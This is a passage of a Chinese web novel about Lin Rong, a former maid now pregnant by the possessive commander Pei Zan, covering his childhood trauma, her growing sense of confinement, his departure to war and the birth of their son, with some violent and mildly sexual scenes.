当家主母回府,冯叔不敢有半分怠慢。 青州的宅子是新置的,冯叔特意领林蓉住进了裴瓒夜寝的正院子。 因林蓉如今怀有身孕,不好办婚仪,那些婚礼流程都被搁置了,只待生完孩子,再慢慢操办。 冯叔心知肚明,一个侍妾能有此等造化,全倚仗腹中的胎儿。 这可是裴瓒的嫡长,不得有任何闪失。 冯叔是看着裴瓒长大的老奴才,他盼着主子开枝散叶,儿孙满堂。 等待多年,冯叔终于迎来了小主子,当即喜得合不拢嘴,直将林蓉当菩萨一般供起来,还给裴府做事的仆妇们都发了赏钱。 腊月的时候,林蓉怀胎已近五个月,肚子开始显怀。 好的是,林蓉已经不怎么害喜,不会时不时吐满裴瓒的衣襟。 坏的是,林蓉开始觉得身子沉重,每日嗜睡,即便裴瓒练兵办公归府,她仍是没尽妻子义务,倒履相迎,反倒是有气无力地歪在迎枕上,抱着手炉小睡,喊都喊不醒。 腊月隆冬,天冷。 裴瓒一进门,便会褪下沾雪的衣袍挂到木架子上,行至炭盆旁,烤干了身上的寒气,再伸手去抱林蓉。 对于裴瓒来说,怀了孕的林蓉有点新鲜。吃的荤食补品多了,长了些肉,不但脸颊红润、雪臀丰腴,连胸脯也变得浑圆饱满。 浑身上下哪里都是软乎乎的,被裴瓒搂到怀里的时候,她人还犯懒,闭眼昏睡。 每到这个时候,裴瓒就微微阖目,用带粗粝茧子的长指,挤进女孩的小衣里厮磨、勾缠。 甚至偶尔还劣邪地捏一捏、揉一揉,气得林蓉一把将他搡开:“很痒。” 裴瓒收回手,又惫懒地拥着她。 “胖点好……不过妇人怀子,还是要注意膳食,免得孩子养得过大,不好生产。” 林蓉有大夫看顾,不至于胡吃海塞,把孩子饲得太大。但她的身体底子不好,调养血气的汤品炖肉不能断,以免日后分娩无力,会造成难产,也只能尽量吃一些了。 雕花槛窗外披了一层防风毡毯,门扉漏了一道缝隙,用于散开炭火。 炭盆涌动黄澄澄的星火,扑进雕刻送子菩萨的八扇屏风里,照得裴瓒那一双墨瞳平添上几分暖意。 林蓉蜷在裴瓒怀中继续睡觉。 妆花云锦厚被拉到女子鼓起的小腹,又被裴瓒用宽大掌腹压着,一点风都漏不进来。 裴瓒搂着妻子,难得觉出几分闲适居家的意趣。 但林蓉闷出一身汗,心情不佳,睁开了眼。 她从裴瓒的怀里坐起,刚睡醒的脑袋混沌,痴痴盯着裴瓒腕骨串着的那条黑沉菩提子,道:“大少爷,有一事,我一直想问。” “嗯?”裴瓒慵懒地应了一声。 “为何除夕夜……你不能见血?” 如今是隆冬腊月,冯叔开始置办年货。 训斥下人的时候,冯叔耳提面命,叮嘱仆从们小心行事,定不要在内宅杀鸡杀鸭,免得血气溅雪,冲犯了裴瓒。 若是从前,林蓉兴许不敢问这样的阴私,但她如今“母凭子贵”,在裴瓒面前应该还有几分体面,不至于对林蓉一个孕妇喊打喊杀。 不知是林蓉判断正确,还是裴瓒一贯好性儿,他听了也不恼,只将林蓉摁回怀中,弯了下唇角,笑意不及眼底:“想知道?” “嗯。”林蓉少时挨打,第一次被裴瓒救下,便是在除夕夜里。 她虽明白裴瓒没那么多好心,她不过是想知道内情。 裴瓒轻抚一下腕上念珠,淡道:“是我生母的忌日……除夕夜里,她被大夫人用沾盐的铜丝鞭子,活生生打死在院中。” 林蓉的确听说过裴瓒并非沈氏亲生子,不过是大房子嗣单薄,才会将他一个庶长子记成嫡长子。 今日窥得这般不堪的辛秘,她有点后悔。 林蓉心存愧怍,干巴巴地道歉:“对不起……逝者已逝,生者定要节哀。” 裴瓒扯了下唇角,没再多说什么。 他又不觉得难过,为何要节哀? 裴瓒其实已经很久不再回忆从前的事了。 裴瓒的亲生母亲,是被裴家大爷强纳进房中的妾,她性子刚烈,在生下裴瓒后,竟还伤了裴家大爷的子孙根。 旁人都说,这是妾室疯魔了,想独占裴大爷的宠爱,这才出此歹毒下策。 如此奸妇,被当家主母打死不冤。 但裴瓒知道,他的生母非但不想要裴家大爷的宠爱,甚至还恨毒了裴瓒。 生母最常念叨的一句话便是:若非我生下你这样的贱种,我又怎会因子嗣之故,受困樊笼? 那夜除夕,风雪好大。 年仅四岁的裴瓒,漠然站在廊庑底下,他隐在黑影里,静静看着刚入门的大夫人沈氏,寻了个借口,用鞭子惩戒生母。 沈氏出手,每一记鞭子都下手深重,破皮见骨,皮开肉绽,血流一地。 庭院的雪絮染着红梅,到处都是裴瓒亲生母亲流下的鲜血。 裴瓒看着生母咬紧牙关,嘴角带笑,忍受这些酷刑。 生母没有活下去的念头,她没有认错,甚至故意激怒沈氏,只盼着能死在这一场鞭刑中。 裴瓒亲眼目睹母亲倒在血泊中,他的心中不生波澜,亦无畏惧。 裴瓒缄默无言,他没有喊叫,亦无哭嚎,更不觉沉痛,他只是深感恶心。 裴瓒裹身的那件单薄的衣袍底下,到处都是血淋淋的伤口。 有棘棍刺出来的血洞。 有火棍烫出来的燎疤。 全是生母的惩戒。 她恨毒了裴瓒,故意动用私刑,虐待亲子。 仿佛如此,便能平她深埋心中多年的积怨。 那些细小的伤口,逐一横陈于裴瓒稚嫩的身躯之上。 疼得裴瓒每夜都要蜷曲身体,咬牙忍耐,方能有片刻安眠。 于他而言,生母死去,何尝不算一种解脱? 除夕夜不见血,并非为了祭奠母亲,而是裴瓒不愿想起旧事……他不想再看到自己少时那双软弱的泪眼。 50-60 第51章 年关将至, 裴瓒难得没有外出练兵,反倒允将士们休憩五日,归家团圆。 今年天寒, 到处都是皑皑白雪,南地六州近海, 河流湖泊较多, 听说渡口码头都结了厚冰, 还有人在河面上溜冰, 甚至办了冰面掷球的比赛。 林蓉听到小丫鬟们闲聊说起的冰戏盛况,一脸艳羡。 讲给裴瓒听,裴瓒却没允她出门, 只抚了抚林蓉滚圆的肚子,对她道:“府外太乱, 人多眼杂, 你怀着身孕, 恐有百姓不开眼冲撞, 还是留在家中吧。倘若闷着了, 今晚我唤人来府上搭台戏冰?” 裴瓒为逗林蓉开心, 竟劳师动众, 请人来府上假湖溜冰,演给她看。 听完, 林蓉心里的那点欢喜散去,她摇了摇头:“不用了……等明年得空再看吧。” 裴瓒听到她说起“明年”, 心中微动,生出一种难言的安定,仿佛这样闲适的日子还能长长久久过下去。 裴瓒少时见多了家宅里的阴司,亦厌极了女子间明争暗斗, 从不性好渔色。 与林蓉那一场露水情缘,实为阴差阳错。 可林蓉乖巧,没有抵抗他初次的掠夺。 是她允许裴瓒,任他将她纳入羽翼之下、锁入囚笼之中。 既如此,裴瓒自该不择手段,守住自己来之不易的幸福。 往后裴瓒有妻有子,家宅安宁,长乐永康……如此庸常度日,他很知足。 除夕那夜,裴瓒带林蓉出门看烟火、赏灯。 街上人山人海,人流如织,为防林蓉出事,裴瓒没有准她下车,只允她撩起车帘,朝外张望。 马车昏暗,檀香浓郁。 车外却是车水马龙,另一番热闹景象。 石桥两段挂着悬灯的木架子,年货床上也摆满了油纸糊的小兔灯、樱桃灯。 还有货郎用烛火点燃那一盏绘着十八扇山水图的走马灯,热气一蒸,那些墨色山川便在火光的映照下,徐徐转动,看得人目不暇接,眼花缭乱。 “喜欢哪盏?我命人买来。” 裴瓒清冷的嗓音响在身后。 林蓉微微一怔,随后摇摇头:“不用了,看看就好。” 她都不喜欢。 她喜欢的只是灯会上的热闹,可这热闹转瞬即逝,过完今夜便没有了。 没多时,车外响起爆竹烟花的喧嚣。 一尾尾五光十色的星火,争先恐后涌向墨蓝色的天穹,在黑幕夜空炸裂,碎成无数朵盛开的银莲。 那些烟花,如同黑潭泛起的涟漪一般,绽放一瞬,消弭无踪。 林蓉仰着头,痴痴看着,那双漂亮的杏眸,流溢着焰火的华光。 烟花燃完了,林蓉还有些意犹未尽。 但马车已经往裴府的方向驶去,喧闹的市井人声也渐渐变弱。 林蓉玩了一天,又想睡了。 没等她枕上裴瓒的膝骨,男人递来了一个红封包。 林蓉打开红包,竟是几枚沉甸甸的金锭子。 她好奇地看了裴瓒一眼。 裴瓒:“压祟钱……压床脚能除祟,待明年,我会备好两封。” 林蓉听懂他的意思,明年府上添璋弄瓦,多了一口人,自然要准备两份喜钱。 林蓉抓着封红包,手指收紧,不知该说什么好。 从前那般爱财的一个女孩,如今白得了几两金子,脸上竟没有一点喜色。 裴瓒眉梢微扬,“林蓉?” “谢大少爷赏。”林蓉回过神,磕磕绊绊地回答。 裴瓒没有纠正她的称谓,只淡声问她:“方才在想什么?” 林蓉想了想,说:“我想去山中赏梅,想摊鸡蛋饼加餐,再带一条保暖的兔毛毯子,上林子里小睡一晚。” 这是林蓉从前在裴家祖宅就想好的事。 她脱离奴籍,在外自由自在生活,她想做什么都可以。 这些事很琐碎,也不难,甚至称得上简单,但她从来都没能做到。如今怀了身孕,更是不能胡闹了。 大冷天里,非要上山玩雪? 裴瓒怕她冻出个三长两短,不由眉峰微蹙。 裴瓒和部将下臣们取过经,他知道怀了身子的孕妇多思多虑,说话也没个章程,东一榔头西一棒槌。 此前李将军的夫人怀胎时,还一哭二闹三上吊,吵着要天上的星星,害得堂堂武将搬梯子爬墙,在屋檐顶上冻了整整一夜。 但林蓉乖巧,从来不会索求太多,她比旁人家宅里的妇人好养。只要晓之以情动之以理,林蓉不会强求过甚。 裴瓒思忖片刻,和她说道:“你怀着身孕,不宜受冻,等生完孩子,养好身体,日后有机会,我带你进山赏梅。” 果然,裴瓒说完这句,林蓉便不再吱声了。 林蓉想了想那句“日后”,莫名觉得遥远,也不知是猴年马月。 她意兴阑珊,掩唇打了个哈欠,对裴瓒道:“我困了,回府休息吧。” “嗯。”裴瓒搂她入怀,任林蓉枕在怀中,安心休憩。 林蓉没有睡着,她闭着眼,心里想着事。 如果她没有怀上孩子,如果她没有留在裴瓒的身边,她是不是就不用等什么“日后”? 林蓉无需旁人的陪伴,出门闲逛也不必夫婿准允,她一个人过活,她可以随时进山赏梅,采摘野果,在外露宿,席地而坐…… 而不是像现在这般,穿着华贵的衣裙、吃着精致的珍馐、高门权贵娇养着、下人仆从伺候着,却仍不觉满足,终日郁郁寡欢。 是她太贪心了,讨要的东西太多吗? 林蓉说不出个所以然。 她好像被一张密不透风的蛛网困住了。 翌日,林蓉用过夜食,裴瓒拿了一张素白的纸,递给她看。 纸上是铁画银钩的几行墨字,全是子女的名字。 许是担心林蓉不知名字的出处,裴瓒还耐心讲给林蓉听名字的出处与典故。 林蓉默念了几遍,挑下名字:“大少爷方才说,嘉树出自《九章·橘颂》,意为美好丰茂之林木。就定这个吧,不论男女,都能取此名。” 她盼着孩子能自由坚韧地长大,如山川湖泊,一花一叶、一草一木、世间万物。 裴嘉树。 裴瓒于齿间品味一番,名字虽柔了些,但他命中带煞,手上沾血,给孩子的名字过刚易折,倒不如这等藏了地气的草木之名,能保子女安康。 “名字不错,待日后孩子出世,再给孩子认个神佛干亲,庙里点一盏驱邪镇祟的莲花灯。” 裴瓒不信鬼神,但旁人家的孩子出世,都会祈求神佛庇佑,去庙里供灯。 别人有的,他的孩子自然也得有。 “待孩子长大了,我会亲自教导,不拘男女,都能学武习文……” 裴瓒乐意指点自家孩子,教养一事,不必林蓉太过费心。 倒是奇怪,从前裴瓒上副将家宅里议事,一盏茶的功夫,他家幺子已经哭过三轮,吵得裴瓒心烦意乱,频频蹙眉。 若非他涵养不错,真要取了布条,堵住小孩的嘴。 如今想到自家孩子也会啼哭闹腾,竟不生戾气,反倒心平气和,觉得尚能忍受。 少时的孩童都是这般生龙活虎,精力充沛,长大了性子就安定了。 林蓉听着裴瓒有一搭没一搭说起这些育儿经,心中不免惊讶:……他还真是喜欢孩子,兴许裴瓒真的能将他们的小孩照顾得很好。 屋内热气腾腾,林蓉几欲睡去。 就在林蓉要昏厥过去的档口,裴瓒垂头看她:“林蓉,你少时是怎样的?” 林蓉恍如一个上课打瞌睡却被先生抽背的孩子,顿时惊醒过来。 她被问懵了,结巴了许久,才说:“极其普通的一个女孩。” 绞尽脑汁想了想,又补上一句:“兴许有些嘴馋?” 裴瓒听出一点意思,嘴角轻扬:“馋什么?” 林蓉回忆少时的事,她想到了灶台上熬的香喷喷的猪油渣,逢年过节炖的红糖鸡蛋汤,那些吃食唯有弟弟有份,决计不会分给林蓉吃,林蓉只能眼巴巴看着。 弟弟年幼,又被家人宠得无法无天。 逢年过节,亲戚来家中访客,看着小孩吃肉,故意言辞教唆,劝弟弟分林蓉一块指甲盖大的猪油渣。 弟弟不肯,把肉攥得死紧,转头想到邻居家的阿姐都会背弟弟上山劈柴,他便想让林蓉蹲下给他骑大马,如此才肯让出手中吃食。 林蓉老实回答:“饴糖、猪油渣、肉饼……凡是弟弟的吃食,我都想尝。” 裴瓒虽性恶,但他聪慧绝顶。 林蓉简短一句话,便让他听出了端倪。 林蓉并非嘴馋,不过是羡慕家中男丁多一份口粮。 不患寡而患不均,林蓉身为无用的女孩,自小遭家人冷待,才会对那口吃食念念不忘。 裴瓒静默片刻,信手拈来一块桌上的乳糖,剥了纸衣,塞进林蓉口中。 林蓉舌尖一甜,睁着一双圆溜溜的杏眸,纳闷地望向男人。 裴瓒轻捏林蓉鼓囊的腮帮子,静静看她。 想到林蓉是少时被家人卖给了人牙子,想必她定十分憎恶亲人。 裴瓒的长睫轻颤一下,薄唇微启,说出的话语蛊惑意味十足:“既你家人不善……我帮你找到他们,全杀了可好?” 林蓉咬糖的动作一僵,她后脊发麻,被裴瓒忽然涌现的杀心撼住了。 良久,她慌忙摇头:“不用、不用……都过去了。” “是么?那便随你。”裴瓒略感遗憾,但他没有强求,小事上,他大可顺着林蓉的心意。 林蓉继续咀嚼糖块,牛乳的奶香味弥散舌尖,被她悉数咽下去。 她后知后觉反应过来……方才裴瓒赠糖之举,难不成是在补偿她儿时吃不到糖的遗憾? 裴瓒何时多添了这么些好心。 夜里,林蓉半睡半醒,忽然被一阵窸窸窣窣的衣物刮擦声吵醒。 没等她起身一探究竟,忽然意识到自己的手掌被人擒住。 掌中还握着一块滚沸烙铁。 是狰狞巍峨的小少爷。 裴瓒骤然挪动。 林蓉没能握实,手心生出热汗。 烧火钳在掌腹炙着。 林蓉吓了一跳,急于收手。 偏裴瓒用力,覆上她的手背,将她压得更实。 林蓉耳根生热。 粗粝青筋弹跳,还有令人无法忽视的热意。 她隐约明白裴瓒在被褥里做些什么。 “林蓉……你会喜爱这个孩子么?”裴瓒压抑着隐忍存欲的低喘,轻声问她。 屋内光线昏暗,林蓉望向床侧长发披散的男人,“这是我怀胎十月生下的孩子,为什么不喜爱它?” 这是实话,林蓉既然要生,自然会爱护自家的小孩。 “嗯……”裴瓒抿唇不动。 他似是得了安慰,竟就此出来了。 林蓉收紧了手,呆若木鸡。 片刻,她意识到,手心终于有了知觉,手指一阵阵酥麻。 原是沾了不少湿濡雨露。 林蓉无奈至极。 她继续躺下睡觉,又朝裴瓒伸出手。 任他取来沥干的帕子…… 将那些黏腻,一点点擦回帕中。 作者有话说: 不是帮裴瓒辩解哈,不过可以解释一下他和他爹的不同。 他爹之后故事不会着墨,但其实他爹是真的见色起意的那种权贵。 但裴瓒会不同一点,在他的概念里,只有掠夺才能守住自己的东西,所以是非常攻击性强悍的人,在他的认知里,林蓉在第一次云雨没有拒绝,即为接受了他的掠夺,那就是他的东西,所以他对林蓉的机制就是——我要守住我自己的东西。 但林蓉第一次赠予,是想要报恩,之后是不愿意的,因此发展成现在这样…… 总之就是主角做事会有自己的行为逻辑,我继续往下写=3=先不剧透,还是自己看下去会比较有趣~ 第52章 林蓉将会成为裴家未来主母的消息, 在青州不胫而走。 拜客的请柬堆满了案头,林蓉扶着腰,为难地看了一眼, 询问裴瓒的意思:“要见客吗?” 一天天递帖子、往府上送礼,实在有些烦人。 “你不喜欢被她们叨扰?”裴瓒眼风一掠, 带出点冷戾, 平时不苟言笑的时候, 瞧着还是很能唬人的。 林蓉听他语气森然, 似乎有了不大好的决断。 林蓉不过一句抱怨,倒不想旁人因她罹难。 林蓉斟酌言辞:“如果我嫌烦,大少爷待如何?” “自是杀鸡儆猴, 命他们收起谄媚讨好的心思,少来叨扰家宅。”裴瓒风轻云淡一句话, 倒止住了林蓉闭门躲客的念想。 裴瓒的“杀鸡儆猴”, 很可能是真真刀真枪上阵。 刚过完年, 没必要见血。 林蓉想到她怀胎已有六月, 裴瓒看得紧, 出不了门, 平时闲在家中很是无趣, 不如请人来家中小坐。 都见一次面,再有下次送帖也好推拒了。 “不如……请这些夫人们上门做客, 见上一面?”林蓉怯怯开口,竭力保全这些无辜的人。 此言落到裴瓒耳朵里, 倒像是林蓉想慢慢亲近他的圈子,与那些官眷混个面熟。 裴瓒从来一言九鼎,他既要抬举林蓉,便是当真要娶她为妻, 并非哄林蓉生下孩子的权宜之策。 林蓉要当裴家主母,日后执掌中馈,自然该学会这些人情来往,往后帮着操持内宅。 思及至此,裴瓒没有阻拦林蓉的意思,反倒拨来冯叔辅佐林蓉:“夫人身子重,受不得累,宴饮酒筵诸事,你从旁帮衬,不能出丝毫差池。” 此话尤重,冯叔回过味来,裴瓒最重规矩,可他愿意让林蓉上手招待那些部曲家臣的官眷,显然是想让林蓉当一个手掌实权的主母,而不是名不副实的空架子! 可见裴瓒真待人上了心。 一时间,冯叔对林蓉的温顺态度里,又多添了几分敬重。 他拍拍胸口道:“爷放心吧,老奴安排宴席多年,手上很有分寸,定能帮衬夫人,将此次家宴办得妥当!” 林蓉听完,心里也松一口气。 她不擅此道,不敢打肿脸充胖子招人耻笑,有冯叔帮忙当然再好不过。 但好在,宴席那天,诸事顺利。 因林蓉是裴瓒的妻子,无人敢对她不敬,更没人会交头接耳,议论她的来历、出身。 那些女眷们只是悄无声息瞥向林蓉的孕肚,目光如炬,简直要把林蓉洞穿。 裴瓒这么多年不近女色,她们还以为大都督有龙阳之好呢! 哪知这样位高权重的贵人,竟被林蓉这样一个庶族女子拿捏,还怀上了身子。 倘若林蓉一举得男,日后前途当真是不可估量! 官夫人们心里既妒又酸,一边咬着牙,一边说些逗趣林蓉的谄媚话,一场家宴没出半点差池,就这么其乐融融地操办完了。 林蓉盛装出席,满足了官眷们的好奇心,此后的几个月,竟真的没人再来叨扰她了。 夜里,宴散。 裴瓒忙完公差,回到府上。 他照例擦身换衣,再来搂林蓉:“今日宴会如何?” 林蓉疲乏不堪,她点头,敷衍了事:“都好都好。” 但裴瓒谈兴很高,问东问西,执意要逼林蓉再说些什么。 林蓉无可奈何,只能挑拣一些无关紧要的闲话,说给裴瓒听。 “虞夫人家里的二姑娘,不过及笄年纪,竟嫁给了孙将军为继室!要知道孙将军今年都二十九岁了,大上二姑娘一轮,当真是老牛吃嫩草。” 裴瓒听得那句“二十九岁”,脸色微沉。 他薄唇轻抿,帮着辩解一句:“虞二小姐虽为继室,可论门第,却也算高攀孙家。孙将军重情重义,为亡妻守节五年,方肯续娶,且他膝下并无子嗣,倘若虞二小姐嫁进家宅,诞下一儿半女,便能在孙府站稳脚跟,与头婚无甚差别……保不准人家心里乐意,倒让你在背地里嚼舌根。” 林蓉讪讪道:“有道理,我也不好长舌妇一般,背地里乱说旁人的家宅事,无非是觉得虞二小姐年纪轻,完全可以嫁个二十出头的少年人,没必要在孙将军这棵老树上吊死。” “孙将军未及而立之年,不过二十九岁,亦是青年才俊……罢了,莫谈旁人家宅事,以免说错话多造口业。”裴瓒堵住了林蓉的话,不与她多说那些闲谈。 林蓉觉得裴瓒有点莫名其妙,是他要问东问西,她答了又不高兴。 说她造口业,可裴瓒下手杀人乱造杀业,他怎么半点不顾忌呢? 林蓉懒得理他,扶着滚圆的肚子,吃甜汤去了。 其实,林蓉并不喜欢参加这些宴席。 尽管所有人都对她展露笑颜,言语奉承,但林蓉很擅察言观色,又怎会不知那些官夫人心中的小九九? 她们故意为林蓉献策,劝她找一个好拿捏的貌美丫鬟,送去大都督的床上,供他纾解,如此才能防止男人在外打野食,成日不着家。 林蓉脸上傻笑,心里却道:她是哪个牌面上的人物,竟敢管裴瓒的事,她是不要命了么?! 除却这些私房话,夫人们还旁敲侧击,有意无意询问林蓉爱吃什么,喝什么。 她们想知道林蓉吃酸还是吃辣,肚子尖不尖,能不能为裴家添丁,生下一个带把的儿子。 在这样逼仄窒息的高门宅院里,唯有丈夫和子嗣,才是女子最重要的立足之本。 谁都不能免俗。 可林蓉想到逃到凉州的那一日。 明明还有一望无际的广袤草原、策马奔走的黄土戈壁、巍峨壮观的重峦叠嶂……天地那么辽阔,她为何要被困在这一方浅池里,与人争长论短,一日日黯淡成鱼目,踽踽老去。 四月底,已是春末。 北地战乱频频,裴瓒挂帅出征,率军北上。 此为谋国祚,创盛世,扫清六合,解黎民百姓倒悬之急的经国大计,自是士饱马腾,三军振奋。 各家兵马策应裴瓒,十万裴家将士誓死追随裴瓒北征,甘为大都督肝脑涂地,粉骨捐躯。 林蓉还有一月便要生产,裴瓒知她心定,没有多加为难,让林蓉留在青州家宅里待产。 林蓉怀胎已有八个月,夜里入睡很是困难,连翻个身都要裴瓒帮着搭把手。 这时候腹中的孩子已经能感知到外界,不可用手抚弄肚子,以免胎儿兴奋,跟着父母亲的手转动,恐有绕颈之险。 裴瓒精通岐黄之术,于女科上极为小心。 他倒是注意,不摸小腹,只拥着林蓉,轻抚慢捻青桃。 裴瓒的玉指微蜷,在雪青色的小衣下游走。 林蓉根本喂不饱孩子,还是让冯叔多寻几个婆子、奶娘帮着照看,切莫累到妻子。 “如有何处不适,记得及时同冯叔说,再不济就去寻郑慧音,你与她有姐妹之谊,此女行事虽不着调,但对你不算太坏。” 裴瓒从前对郑慧音很是看不上,觉得此女心机过重。 可郑慧音三番两次冒险搭救林蓉,至少待林蓉是真心实意。 他厌归他厌,却不会阻止林蓉交友。 “我会的。”林蓉不过是身体惫懒,许久不曾见客,并未刻意疏远郑慧音。 林蓉近日胃口不佳,又有点犯困,蜷在覆了花卉薄毯的美人榻上小睡,连说话的声音都轻。 日光漫进来,照得毯上的翠枝浆果鲜嫩,仿佛活过来了一般。 唯独林蓉枕着迎枕,死气沉沉,一声不吭。 裴瓒莫名不喜她太安静的模样,他知她爱吃青枣、酸梅,正是时节,屋子里备了好几箩筐。 裴瓒信手捻来一枚洗过的青枣,塞到林蓉口中,硬生生闹醒了她。 待林蓉茫然睁眼,腮帮子鼓起。 裴瓒又从被褥里拉出她的手腕,褪下了那一串质地冰冷的乌黑菩提念珠,绕了两圈,囚在林蓉的雪臂上。 “军事在即,我不能陪你生产,但我已打点好里外仆妇、郎中,也命人备好分娩镇痛的药膳,临盆时定会竭力护你,莫要太过害怕。” “林蓉,此物随我南征北战多年,含阴带煞,赠你护身……妇人生产时,气弱体虚,最惧魑魅魍魉。有此物坐镇,阴差畏惧血气杀戮,不敢近身,能保你周全。” 林蓉看着手上那一串佛珠,目光迟迟的,良久问出一句:“若我生下这个孩子……是不是永远都不能离开裴府了?” 林蓉非要今日说这些扫兴的话,裴瓒的凤眸微寒,薄唇微抿,他忍了忍,还是没有苛责怀胎的妻子。 裴瓒搂着她,掌腹轻抚背脊,哄劝:“你我既成夫妻,往后裴府便是你的家宅,为何执意要离开?若是想外出走走,待我得空,自会与你外出游历山水。如你只是想吃些僻地塞外的贡果珍馐……南地漕运通达,亦可吩咐冯叔为你置办。莫说倭国海域的南珠,便是西域的香枣、葡萄酒都能为你奉来,又何必亲自远行一趟?” 林蓉听明白了裴瓒的意思,他既与她结为夫妇,自是要天长地久与她相处。 而林蓉成为家宅主母,也该承担掌家的职责,不能恣意任性。 况且,能当裴瓒的妻子,为他生儿育女,这是多大的体面? 裴瓒待她敬重,她也应该投桃报李,尽心操持后宅的庶务,莫要得了便宜还卖乖。 可林蓉无时无刻不在想……这一块世人眼中的天大馅饼,真的是她想吃的吗? 她明明占了这么大的便宜,为何一点都不欢喜呢? 是大家都聪明绝顶,而她太蠢、太笨、太傻、太糊涂了吗? 林蓉望向灰扑扑的窗扉,仰望没有天光的幽闭的屋顶,忽然沉默了。 她意识到,这张密不透风的蛛网,正是裴瓒布下的。 他藏了麻痹人心神的毒,与她温柔交颈,耳鬓厮磨,他把她一寸寸蚕食,吃干抹净,再将她的残骸裹进柔软的韧茧之中。 林蓉被困在了高门大院里,被迫与裴瓒生死相依,抵死缠绵,裴瓒终于完全拥有了林蓉。 过了许久,林蓉想到即将出世的孩子。 一个脆弱的小人儿,在这样吃人的世道上如何生活? 也唯有裴瓒能护住孩子了。 林蓉对裴瓒道:“我有点困了,再睡一会儿。大少爷,你路上小心,少受点伤,记得三餐用饭……你不能有事,定要平安回来。” 裴瓒听得林蓉软声叮咛,凤眸微颤,心绪震动。 这好似是第一次有人在他外出行军时,嘱咐他一定要多加小心,时刻留意残酷的战情,莫要受伤,记得用膳。 在这一刻,裴瓒好似有点明白,为何营地里的兵卒会畏惧世事无常,害怕自己不慎死在战场……因他们是肉眼凡胎的俗人,因他们有亲朋好友,因他们也心生记挂。 有人在等他回家…… 裴瓒想到每次战胜回营,主帐里都会亮起的那一盏橘灯。 只要他撩开门帘,林蓉定会居于榻边昏睡,睡得浓睫轻颤,双颊绯红。 她一直在家里等他。 裴瓒轻抬林蓉昏昏欲睡的小脸,在她额头落下一吻。 “我会的。” “林蓉……等我回来。” 裴瓒离府那日,冯叔送行。 裴瓒踩镫上马,肩背挺拔如松,乌发凛冽如刃,气势骇人。 裴瓒恢复了那一身压迫感十足的杀神煞气,他持缰远行,叮嘱了冯叔一句:“仔细看顾夫人,如若生产艰难,命稳婆、大夫竭力保住大人,不必顾及子嗣。” 这个孩子来得巧妙,可比起让林蓉丧命,裴瓒倒也能够狠心割舍。 毕竟,日后天长地久相伴枕席之人,是他的妻子林蓉。 冯叔闻言一惊,子嗣要紧,如今这个年头,有子便能有几代的昌盛,能令裴家军将安心,更愿意追随裴瓒出生入死……大少爷当真一点都不在乎吗? 冯叔不明白,可他转念想想,又觉得是这个道理。 留得青山在不怕没柴烧,自然是大人的身体更要紧。 况且,他也很喜欢林蓉这个小丫头,盼着老天开眼,让他们母子平安。 裴瓒微微眯眸,远眺青山:“倘若这几个月内,敌党趁我离开六州,行攻城之事,你记得传我军令,先去郑家请兵,再命鹰隼传讯至战前,我会安排部署,召集州府援军策应。” 此次谋国的战场在北地都城,中原的枭心藩王都忙着争夺魏室都城这块肥肉,谁又会舍大取小,对南地虎视眈眈?这不是求着裴瓒来打吗? 况且,南地六州各地关隘还留有数万驻军戍卫里外,断没有出事的可能。 不过是裴瓒多思多虑,心中不安罢了。 毕竟他有妻子、孩子,肩上担着责任与负累,已不是孑然一身的人间过客,自该多加防范,护家人周全。 裴瓒在心中排演了一番南地六州的布局,确认府衙公廨各司其职,要塞重镇防守严密,他终于能放心远行了。 林蓉临产发作那日,是五月十五。 窗外榴花红艳似火,蜀葵飘香入户,林蓉卧在榻上,额头沁满热汗,坐婆指点林蓉如何呼吸、施力,丫鬟们端茶倒水,喂林蓉提神的参汤,又给她服下一些镇痛的药膳。 除却府上忙碌,屋外还有那些有过生育经验的妇人看顾,冯叔不能进产房,便在外招待客人,顺道和夫人们取经,护着林蓉走过这一程。 林蓉休养不错,此次生产并未吃什么苦头。 夜幕降临的时候,屋舍里传来一声嘹亮的婴孩啼哭。 稳婆把皱巴巴的小人裹进襁褓中,抱给林蓉看,喜得见眉不见眼:“恭喜夫人!是个腿脚有力的小公子!瞧瞧这眉眼,和夫人、大都督简直一模一样!” 林蓉累坏了,她一句话都不想说。 只艰难睁开杏眸,瞥一眼自家小孩。 “裴嘉树……长得好丑。” 这是林蓉初次看到瘪嘴哭泣的儿子,小声嘀咕出的一句话。 初生的小孩皮肉不曾褪红,都被羊水泡皱了,自然不好看。 但坐婆经验丰富,一看小孩鼻梁高挺,眉眼轮廓深邃,手指细长,一眼笃定哥儿长大了,定是个漂亮的孩子。 冯叔不敢让小公子吹风,凑到暖阁里看了一眼,便欢喜地道:“好哥儿,手脚真壮实!我这就给大都督报信去,大都督定然欢喜!” 哺育照看小公子的奴仆早早备好,这些琐事都不必林蓉操心,林蓉生下了裴府嫡长子,如今就是府上的大功臣,只需好好坐月子养身便是。 鹰隼展翅,翱翔天地,一个时辰能行三百六十里路。 信鹰穿越万水千山,往返两地,也不过耗时数天。 裴瓒收到消息时,已攻下了两座城池。 他将滴血冷刃插回剑鞘,单手展信。得知府上一切都好,母子平安,那双染了血气的冷目,终是有了一丝暖意。 裴瓒没有大行宴庆之事,正是多事之秋,不易走漏风声。 裴瓒照常行军,将家中喜事掩得密不透风。 往家中送信时,也只添了一句:“林蓉,你受累了。” 他为孩子起了个好养活的小称:玉奴。 瓒者,玉器也。 裴瓒以父名为孩子护命,如此便能保长子安康平顺。 林蓉坐足了两个月的月子。 明明仆从伺候得当,日日有汤水养身进补。 可林蓉还是每日疲乏,精神不济,甚至畏光怕冷,请大夫诊脉,亦看不出症状,只说是五气不顺,郁结于心,心病还需心药医治。 这事儿可愁坏了冯叔,他实在想不通,林蓉生下嫡长子,又深得裴瓒疼爱,她究竟有什么可烦心的? 但林蓉肉眼可见地消瘦下去,吓得冯叔直呼不好,急着给裴瓒送信。 林蓉拦下他,笑着劝慰:“兴许我只是记挂大都督了,冯叔不必担忧,也不要送信叨扰大都督,两地相距较远,若是让他分心,惦念家宅,反倒不美。” 想也是这个道理,多亏裴瓒运筹帷幄,用兵如神,前线频频传来捷报,北地魏室皇族节节败退,正是起事夺位的节骨眼上,又怎能分心应付家宅。 冯叔也怕裴瓒关心则乱,误了大事,令裴瓒战场分神,不慎受伤,继而败于垂成。 冯叔不敢多加打扰,只宽慰自己……夫人好好的待在家宅里头呢!每日参汤补药不断,又能出什么岔子?许是早年为奴为婢,身子骨弱,往后再多养养就好了。 待郑慧音得空来探望她的时候,林蓉又瘦了许多,那双乌溜溜的杏眼显得更大,蹙眉时,带了些许弱柳扶风的娇柔。 